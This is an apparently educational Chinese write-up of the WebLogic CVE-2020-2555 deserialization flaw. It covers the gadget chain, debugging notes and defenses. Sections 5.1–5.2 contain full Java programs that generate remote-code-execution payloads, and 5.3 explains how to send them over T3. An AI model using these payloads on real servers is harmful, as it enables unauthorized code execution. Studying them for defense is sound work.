CVE-2020-2555调用链复现分析
字数 1539 2025-08-25 22:58:20
CVE-2020-2555漏洞分析与复现指南
0x01 漏洞概述
CVE-2020-2555是Oracle WebLogic Server中的一个反序列化漏洞,存在于coherence.jar组件中。攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上实现远程代码执行(RCE)。该漏洞CVSS评分为9.8分,属于高危漏洞。
0x02 漏洞环境
- 受影响版本:WebLogic 12.1.3.0.0
- 测试环境:WebLogic 12.1.3.0.0 + JDK 1.8.0
- 相关组件:coherence.jar
0x03 漏洞原理
漏洞利用链主要涉及以下关键类:
- BadAttributeValueExpException:作为反序列化入口点
- LimitFilter:WebLogic特有类,提供触发点
- ChainedExtractor/ReflectionExtractor:实现反射调用链
- Runtime/TemplatesImpl:最终执行代码的类
0x04 调用链分析
4.1 标准利用链(多次反射)
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
调用流程:
BadAttributeValueExpException.readObject()触发toString()LimitFilter.toString()调用m_comparator.extract()ChainedExtractor.extract()依次执行反射链:- 获取Runtime类的getRuntime方法
- 调用getRuntime方法获取Runtime实例
- 调用exec方法执行命令
4.2 优化利用链(单次反射)
ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);
利用TemplatesImpl类实现单次反射RCE:
- 构造包含恶意字节码的
TemplatesImpl实例 - 通过
ReflectionExtractor直接调用getOutputProperties方法 - 触发字节码加载执行
0x05 漏洞复现步骤
5.1 标准POC生成
public class exp {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
// 设置m_comparator为ChainedExtractor
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
// 设置BadAttributeValueExpException的val属性
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
// 序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(
new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
}
5.2 单次反射POC生成
public class exp {
public static void main(String[] args) throws Exception {
// 初始化TemplatesImpl实例
TemplatesImpl temp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass payload = pool.get(T3.payload.class.getName());
byte[] PayByte = payload.toBytecode();
// 设置_bytecodes属性
Field ByteCode = TemplatesImpl.class.getDeclaredField("_bytecodes");
ByteCode.setAccessible(true);
ByteCode.set(temp, new byte[][]{PayByte});
// 设置_name属性
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp, "tr1ple");
// 定义单次反射
ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);
// 构造LimitFilter
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(temp);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
// 设置m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, valueExtractor);
// 设置val属性
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
// 序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(
new FileOutputStream("poc2.ser"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
}
5.3 发送Payload
通过T3协议发送序列化数据:
- 先发送T3协议头
- 然后发送序列化payload
- 数据包中序列化payload以
ac ed 00 05开头,多段序列化数据以fe 01 00 00分隔
0x06 调试分析
关键断点设置:
LimitFilter.toString()方法ChainedExtractor.extract()方法ReflectionExtractor.extract()方法
调试时可观察到:
- WebLogic使用
ServerChannelInputStream(继承自ObjectInputStream)进行反序列化 - 最终调用原生
ObjectInputStream.readObject() - 通过
BadAttributeValueExpException.readObject()触发整个利用链
0x07 防御措施
- 升级WebLogic到最新版本
- 禁用T3协议或限制访问来源
- 使用WebLogic提供的反序列化过滤器
- 删除或更新coherence.jar组件
0x08 参考链接
- https://xz.aliyun.com/t/7387
- http://drops.xmd5.com/static/drops/web-13470.html
- 修复WebLogic的JAVA反序列化漏洞的多种方法
0x09 总结
CVE-2020-2555漏洞展示了WebLogic反序列化漏洞的典型利用模式,通过精心构造的gadget链实现RCE。理解该漏洞有助于分析其他类似的反序列化漏洞,并提高对Java安全机制的认识。